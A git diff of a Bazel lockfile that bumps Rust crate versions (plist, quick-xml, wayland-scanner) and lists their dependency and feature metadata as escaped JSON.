diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index 8ae5bef17c..d572f68f21 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -1343,7 +1343,7 @@ "pkcs8_0.10.2": "{\"dependencies\":[{\"features\":[\"oid\"],\"name\":\"der\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.3\"},{\"name\":\"pkcs5\",\"optional\":true,\"req\":\"^0.7\"},{\"default_features\":false,\"name\":\"rand_core\",\"optional\":true,\"req\":\"^0.6\"},{\"name\":\"spki\",\"req\":\"^0.7.1\"},{\"default_features\":false,\"name\":\"subtle\",\"optional\":true,\"req\":\"^2\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"}],\"features\":{\"3des\":[\"encryption\",\"pkcs5/3des\"],\"alloc\":[\"der/alloc\",\"der/zeroize\",\"spki/alloc\"],\"des-insecure\":[\"encryption\",\"pkcs5/des-insecure\"],\"encryption\":[\"alloc\",\"pkcs5/alloc\",\"pkcs5/pbes2\",\"rand_core\"],\"getrandom\":[\"rand_core/getrandom\"],\"pem\":[\"alloc\",\"der/pem\",\"spki/pem\"],\"sha1-insecure\":[\"encryption\",\"pkcs5/sha1-insecure\"],\"std\":[\"alloc\",\"der/std\",\"spki/std\"]}}", "pkg-config_0.3.32": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"lazy_static\",\"req\":\"^1\"}],\"features\":{}}", "plain_0.2.3": "{\"dependencies\":[],\"features\":{}}", - "plist_1.8.0": "{\"dependencies\":[{\"name\":\"base64\",\"req\":\"^0.22.0\"},{\"name\":\"indexmap\",\"req\":\"^2.1.0\"},{\"name\":\"quick_xml\",\"package\":\"quick-xml\",\"req\":\"^0.38.0\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"serde_yaml\",\"req\":\"^0.8.21\"},{\"features\":[\"parsing\",\"formatting\"],\"name\":\"time\",\"req\":\"^0.3.30\"}],\"features\":{\"default\":[\"serde\"],\"enable_unstable_features_that_may_break_with_minor_version_bumps\":[]}}", + "plist_1.9.0": "{\"dependencies\":[{\"name\":\"base64\",\"req\":\"^0.22.0\"},{\"name\":\"indexmap\",\"req\":\"^2.1.0\"},{\"name\":\"quick_xml\",\"package\":\"quick-xml\",\"req\":\"^0.39.2\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"serde_yaml\",\"req\":\"^0.8.21\"},{\"features\":[\"parsing\",\"formatting\"],\"name\":\"time\",\"req\":\"^0.3.47\"}],\"features\":{\"default\":[\"serde\"],\"enable_unstable_features_that_may_break_with_minor_version_bumps\":[]}}", "png_0.18.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"approx\",\"req\":\"^0.5.1\"},{\"name\":\"bitflags\",\"req\":\"^2.0\"},{\"kind\":\"dev\",\"name\":\"byteorder\",\"req\":\"^1.5.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"clap\",\"req\":\"^4.0\"},{\"name\":\"crc32fast\",\"req\":\"^1.2.0\"},{\"default_features\":false,\"features\":[\"cargo_bench_support\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"fdeflate\",\"req\":\"^0.3.3\"},{\"name\":\"flate2\",\"req\":\"^1.0.35\"},{\"kind\":\"dev\",\"name\":\"glob\",\"req\":\"^0.3\"},{\"features\":[\"simd\"],\"name\":\"miniz_oxide\",\"req\":\"^0.8\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9.2\"}],\"features\":{\"benchmarks\":[],\"unstable\":[\"crc32fast/nightly\"],\"zlib-rs\":[\"flate2/zlib-rs\"]}}", "polling_3.11.0": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"name\":\"concurrent-queue\",\"req\":\"^2.2.0\",\"target\":\"cfg(windows)\"},{\"kind\":\"dev\",\"name\":\"easy-parallel\",\"req\":\"^3.1.0\"},{\"kind\":\"dev\",\"name\":\"fastrand\",\"req\":\"^2.0.0\"},{\"name\":\"hermit-abi\",\"req\":\"^0.5.0\",\"target\":\"cfg(target_os = \\\"hermit\\\")\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(unix)\"},{\"name\":\"pin-project-lite\",\"req\":\"^0.2.9\",\"target\":\"cfg(windows)\"},{\"default_features\":false,\"features\":[\"event\",\"fs\",\"pipe\",\"process\",\"std\",\"time\"],\"name\":\"rustix\",\"req\":\"^1.0.5\",\"target\":\"cfg(any(unix, target_os = \\\"fuchsia\\\", target_os = \\\"vxworks\\\"))\"},{\"kind\":\"dev\",\"name\":\"signal-hook\",\"req\":\"^0.3.17\",\"target\":\"cfg(all(unix, not(target_os=\\\"vita\\\")))\"},{\"kind\":\"dev\",\"name\":\"socket2\",\"req\":\"^0.6.0\"},{\"default_features\":false,\"name\":\"tracing\",\"optional\":true,\"req\":\"^0.1.37\"},{\"features\":[\"Wdk_Foundation\",\"Wdk_Storage_FileSystem\",\"Win32_Foundation\",\"Win32_Networking_WinSock\",\"Win32_Security\",\"Win32_Storage_FileSystem\",\"Win32_System_IO\",\"Win32_System_LibraryLoader\",\"Win32_System_Threading\",\"Win32_System_WindowsProgramming\"],\"name\":\"windows-sys\",\"req\":\"^0.61\",\"target\":\"cfg(windows)\"}],\"features\":{}}", "poly1305_0.8.0": "{\"dependencies\":[{\"name\":\"cpufeatures\",\"req\":\"^0.2\",\"target\":\"cfg(any(target_arch = \\\"x86_64\\\", target_arch = \\\"x86\\\"))\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.3\"},{\"name\":\"opaque-debug\",\"req\":\"^0.3\"},{\"default_features\":false,\"name\":\"universal-hash\",\"req\":\"^0.5\"},{\"default_features\":false,\"name\":\"zeroize\",\"optional\":true,\"req\":\"^1\"}],\"features\":{\"std\":[\"universal-hash/std\"]}}", @@ -1390,7 +1390,8 @@ "pulldown-cmark_0.10.3": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"bincode\",\"req\":\"^1.3.1\"},{\"name\":\"bitflags\",\"req\":\"^2\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5\"},{\"name\":\"getopts\",\"optional\":true,\"req\":\"^0.2\"},{\"kind\":\"dev\",\"name\":\"lazy_static\",\"req\":\"^1.4\"},{\"name\":\"memchr\",\"req\":\"^2.5\"},{\"name\":\"pulldown-cmark-escape\",\"optional\":true,\"req\":\"^0.10.0\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1.6\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.61\"},{\"name\":\"unicase\",\"req\":\"^2.6\"}],\"features\":{\"default\":[\"getopts\",\"html\"],\"gen-tests\":[],\"html\":[\"pulldown-cmark-escape\"],\"simd\":[\"pulldown-cmark-escape?/simd\"]}}", "pxfm_0.1.27": "{\"dependencies\":[{\"name\":\"num-traits\",\"req\":\"^0.2.3\"}],\"features\":{}}", "quick-error_2.0.1": "{\"dependencies\":[],\"features\":{}}", - "quick-xml_0.38.4": "{\"dependencies\":[{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\">=0.4, <0.8\"},{\"name\":\"document-features\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"encoding_rs\",\"optional\":true,\"req\":\"^0.8\"},{\"name\":\"memchr\",\"req\":\"^2.1\"},{\"kind\":\"dev\",\"name\":\"pretty_assertions\",\"req\":\"^1.4\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1\"},{\"name\":\"serde\",\"optional\":true,\"req\":\">=1.0.139\"},{\"kind\":\"dev\",\"name\":\"serde-value\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0.206\"},{\"default_features\":false,\"features\":[\"io-util\"],\"name\":\"tokio\",\"optional\":true,\"req\":\"^1.10\"},{\"default_features\":false,\"features\":[\"macros\",\"rt\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.21\"},{\"kind\":\"dev\",\"name\":\"tokio-test\",\"req\":\"^0.4\"}],\"features\":{\"async-tokio\":[\"tokio\"],\"default\":[],\"encoding\":[\"encoding_rs\"],\"escape-html\":[],\"overlapped-lists\":[],\"serde-types\":[\"serde/derive\"],\"serialize\":[\"serde\"]}}", + "quick-xml_0.39.4": "{\"dependencies\":[{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\">=0.4, <0.9\"},{\"name\":\"document-features\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"encoding_rs\",\"optional\":true,\"req\":\"^0.8\"},{\"name\":\"memchr\",\"req\":\"^2.1\"},{\"kind\":\"dev\",\"name\":\"pretty_assertions\",\"req\":\"^1.4\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1\"},{\"name\":\"serde\",\"optional\":true,\"req\":\">=1.0.180\"},{\"kind\":\"dev\",\"name\":\"serde-value\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0.206\"},{\"default_features\":false,\"features\":[\"io-util\"],\"name\":\"tokio\",\"optional\":true,\"req\":\"^1.10\"},{\"default_features\":false,\"features\":[\"macros\",\"rt\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.21\"},{\"kind\":\"dev\",\"name\":\"tokio-test\",\"req\":\"^0.4\"}],\"features\":{\"async-tokio\":[\"tokio\"],\"default\":[],\"encoding\":[\"encoding_rs\"],\"escape-html\":[],\"overlapped-lists\":[],\"serde-types\":[\"serde/derive\"],\"serialize\":[\"serde\"]}}", + "quick-xml_0.41.0": "{\"dependencies\":[{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\">=0.4, <0.9\"},{\"name\":\"document-features\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"encoding_rs\",\"optional\":true,\"req\":\"^0.8\"},{\"name\":\"memchr\",\"req\":\"^2.1\"},{\"kind\":\"dev\",\"name\":\"pretty_assertions\",\"req\":\"^1.4\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1\"},{\"name\":\"serde\",\"optional\":true,\"req\":\">=1.0.180\"},{\"kind\":\"dev\",\"name\":\"serde-value\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0.206\"},{\"default_features\":false,\"features\":[\"io-util\"],\"name\":\"tokio\",\"optional\":true,\"req\":\"^1.10\"},{\"default_features\":false,\"features\":[\"macros\",\"rt\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.21\"},{\"kind\":\"dev\",\"name\":\"tokio-test\",\"req\":\"^0.4\"}],\"features\":{\"async-tokio\":[\"tokio\"],\"default\":[],\"encoding\":[\"encoding_rs\"],\"escape-html\":[],\"overlapped-lists\":[],\"serde-types\":[\"serde/derive\"],\"serialize\":[\"serde\"]}}", "quickcheck_1.1.0": "{\"dependencies\":[{\"default_features\":false,\"name\":\"env_logger\",\"optional\":true,\"req\":\"^0.11\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"default_features\":false,\"features\":[\"sys_rng\"],\"name\":\"rand\",\"req\":\"^0.10\"}],\"features\":{\"default\":[\"regex\",\"use_logging\"],\"regex\":[\"env_logger/regex\"],\"use_logging\":[\"log\",\"env_logger\"]}}", "quinn-proto_0.11.14": "{\"dependencies\":[{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1.0.1\"},{\"kind\":\"dev\",\"name\":\"assert_matches\",\"req\":\"^1.1\"},{\"default_features\":false,\"name\":\"aws-lc-rs\",\"optional\":true,\"req\":\"^1.9\"},{\"name\":\"bytes\",\"req\":\"^1\"},{\"name\":\"fastbloom\",\"optional\":true,\"req\":\"^0.14\"},{\"default_features\":false,\"features\":[\"wasm_js\"],\"name\":\"getrandom\",\"req\":\"^0.3\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"lazy_static\",\"req\":\"^1\"},{\"name\":\"lru-slab\",\"req\":\"^0.1.2\"},{\"name\":\"qlog\",\"optional\":true,\"req\":\"^0.15.2\"},{\"name\":\"rand\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"rand_pcg\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"rcgen\",\"req\":\"^0.14\"},{\"features\":[\"wasm32_unknown_unknown_js\"],\"name\":\"ring\",\"req\":\"^0.17\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"},{\"name\":\"ring\",\"optional\":true,\"req\":\"^0.17\"},{\"name\":\"rustc-hash\",\"req\":\"^2\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"rustls\",\"optional\":true,\"req\":\"^0.23.5\"},{\"features\":[\"web\"],\"name\":\"rustls-pki-types\",\"req\":\"^1.7\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"},{\"name\":\"rustls-platform-verifier\",\"optional\":true,\"req\":\"^0.6\"},{\"name\":\"slab\",\"req\":\"^0.4.6\"},{\"name\":\"thiserror\",\"req\":\"^2.0.3\"},{\"features\":[\"alloc\",\"alloc\"],\"name\":\"tinyvec\",\"req\":\"^1.1\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"tracing\",\"req\":\"^0.1.10\"},{\"default_features\":false,\"features\":[\"env-filter\",\"fmt\",\"ansi\",\"time\",\"local-time\"],\"kind\":\"dev\",\"name\":\"tracing-subscriber\",\"req\":\"^0.3.0\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3.45\"},{\"name\":\"web-time\",\"req\":\"^1\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"}],\"features\":{\"__rustls-post-quantum-test\":[],\"aws-lc-rs\":[\"dep:aws-lc-rs\",\"aws-lc-rs?/aws-lc-sys\",\"aws-lc-rs?/prebuilt-nasm\"],\"aws-lc-rs-fips\":[\"aws-lc-rs\",\"aws-lc-rs?/fips\"],\"bloom\":[\"dep:fastbloom\"],\"default\":[\"rustls-ring\",\"log\",\"bloom\"],\"log\":[\"tracing/log\"],\"platform-verifier\":[\"dep:rustls-platform-verifier\"],\"qlog\":[\"dep:qlog\"],\"ring\":[\"dep:ring\"],\"rustls\":[\"rustls-ring\"],\"rustls-aws-lc-rs\":[\"dep:rustls\",\"rustls?/aws-lc-rs\",\"aws-lc-rs\"],\"rustls-aws-lc-rs-fips\":[\"rustls-aws-lc-rs\",\"aws-lc-rs-fips\"],\"rustls-log\":[\"rustls?/logging\"],\"rustls-ring\":[\"dep:rustls\",\"rustls?/ring\",\"ring\"]}}", "quinn-udp_0.5.14": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cfg_aliases\",\"req\":\"^0.2\"},{\"default_features\":false,\"features\":[\"async_tokio\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7\"},{\"name\":\"libc\",\"req\":\"^0.2.158\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"once_cell\",\"req\":\"^1.19\",\"target\":\"cfg(windows)\"},{\"name\":\"socket2\",\"req\":\">=0.5, <0.7\",\"target\":\"cfg(not(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\")))\"},{\"features\":[\"sync\",\"rt\",\"rt-multi-thread\",\"net\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.28.1\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"tracing\",\"optional\":true,\"req\":\"^0.1.10\"},{\"features\":[\"Win32_Foundation\",\"Win32_System_IO\",\"Win32_Networking_WinSock\"],\"name\":\"windows-sys\",\"req\":\">=0.52, <=0.60\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[\"tracing\",\"log\"],\"direct-log\":[\"dep:log\"],\"fast-apple-datapath\":[],\"log\":[\"tracing/log\"]}}", @@ -1749,7 +1750,7 @@ "wayland-client_0.31.12": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2\"},{\"kind\":\"dev\",\"name\":\"futures-channel\",\"req\":\"^0.3.16\"},{\"kind\":\"dev\",\"name\":\"futures-util\",\"req\":\"^0.3\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"features\":[\"event\"],\"name\":\"rustix\",\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.2\"},{\"name\":\"wayland-backend\",\"req\":\"^0.3.12\"},{\"name\":\"wayland-scanner\",\"req\":\"^0.31.8\"}],\"features\":{}}", "wayland-protocols-wlr_0.3.10": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2\"},{\"name\":\"wayland-backend\",\"req\":\"^0.3.12\"},{\"name\":\"wayland-client\",\"optional\":true,\"req\":\"^0.31.12\"},{\"name\":\"wayland-protocols\",\"req\":\"^0.32.10\"},{\"name\":\"wayland-scanner\",\"req\":\"^0.31.8\"},{\"name\":\"wayland-server\",\"optional\":true,\"req\":\"^0.31.11\"}],\"features\":{\"client\":[\"wayland-client\",\"wayland-protocols/client\"],\"server\":[\"wayland-server\",\"wayland-protocols/server\"]}}", "wayland-protocols_0.32.10": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2\"},{\"name\":\"wayland-backend\",\"req\":\"^0.3.12\"},{\"name\":\"wayland-client\",\"optional\":true,\"req\":\"^0.31.12\"},{\"name\":\"wayland-scanner\",\"req\":\"^0.31.8\"},{\"name\":\"wayland-server\",\"optional\":true,\"req\":\"^0.31.11\"}],\"features\":{\"client\":[\"wayland-client\"],\"server\":[\"wayland-server\"],\"staging\":[],\"unstable\":[]}}", - "wayland-scanner_0.31.8": "{\"dependencies\":[{\"name\":\"proc-macro2\",\"req\":\"^1.0.11\"},{\"name\":\"quick-xml\",\"req\":\"^0.38.3\"},{\"name\":\"quote\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"similar\",\"req\":\"^2\"}],\"features\":{}}", + "wayland-scanner_0.31.10": "{\"dependencies\":[{\"name\":\"proc-macro2\",\"req\":\"^1.0.11\"},{\"name\":\"quick-xml\",\"req\":\"^0.39\"},{\"name\":\"quote\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"similar\",\"req\":\"^2\"}],\"features\":{}}", "wayland-sys_0.31.8": "{\"dependencies\":[{\"name\":\"dlib\",\"optional\":true,\"req\":\"^0.5.1\"},{\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"memoffset\",\"optional\":true,\"req\":\"^0.9\"},{\"name\":\"once_cell\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.7\"}],\"features\":{\"client\":[\"dep:dlib\",\"dep:log\"],\"cursor\":[\"client\"],\"dlopen\":[\"once_cell\"],\"egl\":[\"client\"],\"server\":[\"libc\",\"memoffset\",\"dep:dlib\",\"dep:log\"]}}", "web-sys_0.3.85": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"futures\",\"req\":\"^0.3\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"default_features\":false,\"name\":\"js-sys\",\"req\":\"=0.3.85\"},{\"default_features\":false,\"name\":\"wasm-bindgen\",\"req\":\"=0.2.108\"}],\"features\":{\"AbortController\":[],\"AbortSignal\":[\"EventTarget\"],\"AddEventListenerOptions\":[],\"AesCbcParams\":[],\"AesCtrParams\":[],\"AesDerivedKeyParams\":[],\"AesGcmParams\":[],\"AesKeyAlgorithm\":[],\"AesKeyGenParams\":[],\"Algorithm\":[],\"AlignSetting\":[],\"AllowedBluetoothDevice\":[],\"AllowedUsbDevice\":[],\"AlphaOption\":[],\"AnalyserNode\":[\"AudioNode\",\"EventTarget\"],\"AnalyserOptions\":[],\"AngleInstancedArrays\":[],\"Animation\":[\"EventTarget\"],\"AnimationEffect\":[],\"AnimationEvent\":[\"Event\"],\"AnimationEventInit\":[],\"AnimationPlayState\":[],\"AnimationPlaybackEvent\":[\"Event\"],\"AnimationPlaybackEventInit\":[],\"AnimationPropertyDetails\":[],\"AnimationPropertyValueDetails\":[],\"AnimationTimeline\":[],\"AssignedNodesOptions\":[],\"AttestationConveyancePreference\":[],\"Attr\":[\"EventTarget\",\"Node\"],\"AttributeNameValue\":[],\"AudioBuffer\":[],\"AudioBufferOptions\":[],\"AudioBufferSourceNode\":[\"AudioNode\",\"AudioScheduledSourceNode\",\"EventTarget\"],\"AudioBufferSourceOptions\":[],\"AudioConfiguration\":[],\"AudioContext\":[\"BaseAudioContext\",\"EventTarget\"],\"AudioContextLatencyCategory\":[],\"AudioContextOptions\":[],\"AudioContextState\":[],\"AudioData\":[],\"AudioDataCopyToOptions\":[],\"AudioDataInit\":[],\"AudioDecoder\":[],\"AudioDecoderConfig\":[],\"AudioDecoderInit\":[],\"AudioDecoderSupport\":[],\"AudioDestinationNode\":[\"AudioNode\",\"EventTarget\"],\"AudioEncoder\":[],\"AudioEncoderConfig\":[],\"AudioEncoderInit\":[],\"AudioEncoderSupport\":[],\"AudioListener\":[],\"AudioNode\":[\"EventTarget\"],\"AudioNodeOptions\":[],\"AudioParam\":[],\"AudioParamMap\":[],\"AudioProcessingEvent\":[\"Event\"],\"AudioSampleFormat\":[],\"AudioScheduledSourceNode\":[\"AudioNode\",\"EventTarget\"],\"AudioSinkInfo\":[],\"AudioSinkOptions\":[],\"AudioSinkType\":[],\"AudioStreamTrack\":[\"EventTarget\",\"MediaStreamTrack\"],\"AudioTrack\":[],\"AudioTrackList\":[\"EventTarget\"],\"AudioWorklet\":[\"Worklet\"],\"AudioWorkletGlobalScope\":[\"WorkletGlobalScope\"],\"AudioWorkletNode\":[\"AudioNode\",\"EventTarget\"],\"AudioWorkletNodeOptions\":[],\"AudioWorkletProcessor\":[],\"AuthenticationExtensionsClientInputs\":[],\"AuthenticationExtensionsClientInputsJson\":[],\"AuthenticationExtensionsClientOutputs\":[],\"AuthenticationExtensionsClientOutputsJson\":[],\"AuthenticationExtensionsDevicePublicKeyInputs\":[],\"AuthenticationExtensionsDevicePublicKeyOutputs\":[],\"AuthenticationExtensionsLargeBlobInputs\":[],\"AuthenticationExtensionsLargeBlobOutputs\":[],\"AuthenticationExtensionsPrfInputs\":[],\"AuthenticationExtensionsPrfOutputs\":[],\"AuthenticationExtensionsPrfValues\":[],\"AuthenticationResponseJson\":[],\"AuthenticatorAssertionResponse\":[\"AuthenticatorResponse\"],\"AuthenticatorAssertionResponseJson\":[],\"AuthenticatorAttachment\":[],\"AuthenticatorAttestationResponse\":[\"AuthenticatorResponse\"],\"AuthenticatorAttestationResponseJson\":[],\"AuthenticatorResponse\":[],\"AuthenticatorSelectionCriteria\":[],\"AuthenticatorTransport\":[],\"AutoKeyword\":[],\"AutocompleteInfo\":[],\"BarProp\":[],\"BaseAudioContext\":[\"EventTarget\"],\"BaseComputedKeyframe\":[],\"BaseKeyframe\":[],\"BasePropertyIndexedKeyframe\":[],\"BasicCardRequest\":[],\"BasicCardResponse\":[],\"BasicCardType\":[],\"BatteryManager\":[\"EventTarget\"],\"BeforeUnloadEvent\":[\"Event\"],\"BinaryType\":[],\"BiquadFilterNode\":[\"AudioNode\",\"EventTarget\"],\"BiquadFilterOptions\":[],\"BiquadFilterType\":[],\"Blob\":[],\"BlobEvent\":[\"Event\"],\"BlobEventInit\":[],\"BlobPropertyBag\":[],\"BlockParsingOptions\":[],\"Bluetooth\":[\"EventTarget\"],\"BluetoothAdvertisingEvent\":[\"Event\"],\"BluetoothAdvertisingEventInit\":[],\"BluetoothCharacteristicProperties\":[],\"BluetoothDataFilterInit\":[],\"BluetoothDevice\":[\"EventTarget\"],\"BluetoothLeScanFilterInit\":[],\"BluetoothManufacturerDataMap\":[],\"BluetoothPermissionDescriptor\":[],\"BluetoothPermissionResult\":[\"EventTarget\",\"PermissionStatus\"],\"BluetoothPermissionStorage\":[],\"BluetoothRemoteGattCharacteristic\":[\"EventTarget\"],\"BluetoothRemoteGattDescriptor\":[],\"BluetoothRemoteGattServer\":[],\"BluetoothRemoteGattService\":[\"EventTarget\"],\"BluetoothServiceDataMap\":[],\"BluetoothUuid\":[],\"BoxQuadOptions\":[],\"BroadcastChannel\":[\"EventTarget\"],\"BrowserElementDownloadOptions\":[],\"BrowserElementExecuteScriptOptions\":[],\"BrowserFeedWriter\":[],\"BrowserFindCaseSensitivity\":[],\"BrowserFindDirection\":[],\"ByteLengthQueuingStrategy\":[],\"Cache\":[],\"CacheBatchOperation\":[],\"CacheQueryOptions\":[],\"CacheStorage\":[],\"CacheStorageNamespace\":[],\"CanvasCaptureMediaStream\":[\"EventTarget\",\"MediaStream\"],\"CanvasCaptureMediaStreamTrack\":[\"EventTarget\",\"MediaStreamTrack\"],\"CanvasGradient\":[],\"CanvasPattern\":[],\"CanvasRenderingContext2d\":[],\"CanvasWindingRule\":[],\"CaretChangedReason\":[],\"CaretPosition\":[],\"CaretStateChangedEventInit\":[],\"CdataSection\":[\"CharacterData\",\"EventTarget\",\"Node\",\"Text\"],\"ChannelCountMode\":[],\"ChannelInterpretation\":[],\"ChannelMergerNode\":[\"AudioNode\",\"EventTarget\"],\"ChannelMergerOptions\":[],\"ChannelSplitterNode\":[\"AudioNode\",\"EventTarget\"],\"ChannelSplitterOptions\":[],\"CharacterData\":[\"EventTarget\",\"Node\"],\"CheckerboardReason\":[],\"CheckerboardReport\":[],\"CheckerboardReportService\":[],\"ChromeFilePropertyBag\":[],\"ChromeWorker\":[\"EventTarget\",\"Worker\"],\"Client\":[],\"ClientQueryOptions\":[],\"ClientRectsAndTexts\":[],\"ClientType\":[],\"Clients\":[],\"Clipboard\":[\"EventTarget\"],\"ClipboardEvent\":[\"Event\"],\"ClipboardEventInit\":[],\"ClipboardItem\":[],\"ClipboardItemOptions\":[],\"ClipboardPermissionDescriptor\":[],\"ClipboardUnsanitizedFormats\":[],\"CloseEvent\":[\"Event\"],\"CloseEventInit\":[],\"CodecState\":[],\"CollectedClientData\":[],\"ColorSpaceConversion\":[],\"Comment\":[\"CharacterData\",\"EventTarget\",\"Node\"],\"CompositeOperation\":[],\"CompositionEvent\":[\"Event\",\"UiEvent\"],\"CompositionEventInit\":[],\"CompressionFormat\":[],\"CompressionStream\":[],\"ComputedEffectTiming\":[],\"ConnStatusDict\":[],\"ConnectionType\":[],\"ConsoleCounter\":[],\"ConsoleCounterError\":[],\"ConsoleEvent\":[],\"ConsoleInstance\":[],\"ConsoleInstanceOptions\":[],\"ConsoleLevel\":[],\"ConsoleLogLevel\":[],\"ConsoleProfileEvent\":[],\"ConsoleStackEntry\":[],\"ConsoleTimerError\":[],\"ConsoleTimerLogOrEnd\":[],\"ConsoleTimerStart\":[],\"ConstantSourceNode\":[\"AudioNode\",\"AudioScheduledSourceNode\",\"EventTarget\"],\"ConstantSourceOptions\":[],\"ConstrainBooleanParameters\":[],\"ConstrainDomStringParameters\":[],\"ConstrainDoubleRange\":[],\"ConstrainLongRange\":[],\"ContextAttributes2d\":[],\"ConvertCoordinateOptions\":[],\"ConvolverNode\":[\"AudioNode\",\"EventTarget\"],\"ConvolverOptions\":[],\"CookieChangeEvent\":[\"Event\"],\"CookieChangeEventInit\":[],\"CookieInit\":[],\"CookieListItem\":[],\"CookieSameSite\":[],\"CookieStore\":[\"EventTarget\"],\"CookieStoreDeleteOptions\":[],\"CookieStoreGetOptions\":[],\"CookieStoreManager\":[],\"Coordinates\":[],\"CountQueuingStrategy\":[],\"Credential\":[],\"CredentialCreationOptions\":[],\"CredentialPropertiesOutput\":[],\"CredentialRequestOptions\":[],\"CredentialsContainer\":[],\"Crypto\":[],\"CryptoKey\":[],\"CryptoKeyPair\":[],\"CssAnimation\":[\"Animation\",\"EventTarget\"],\"CssBoxType\":[],\"CssConditionRule\":[\"CssGroupingRule\",\"CssRule\"],\"CssCounterStyleRule\":[\"CssRule\"],\"CssFontFaceRule\":[\"CssRule\"],\"CssFontFeatureValuesRule\":[\"CssRule\"],\"CssGroupingRule\":[\"CssRule\"],\"CssImportRule\":[\"CssRule\"],\"CssKeyframeRule\":[\"CssRule\"],\"CssKeyframesRule\":[\"CssRule\"],\"CssMediaRule\":[\"CssConditionRule\",\"CssGroupingRule\",\"CssRule\"],\"CssNamespaceRule\":[\"CssRule\"],\"CssPageRule\":[\"CssRule\"],\"CssPseudoElement\":[],\"CssRule\":[],\"CssRuleList\":[],\"CssStyleDeclaration\":[],\"CssStyleRule\":[\"CssRule\"],\"CssStyleSheet\":[\"StyleSheet\"],\"CssStyleSheetParsingMode\":[],\"CssSupportsRule\":[\"C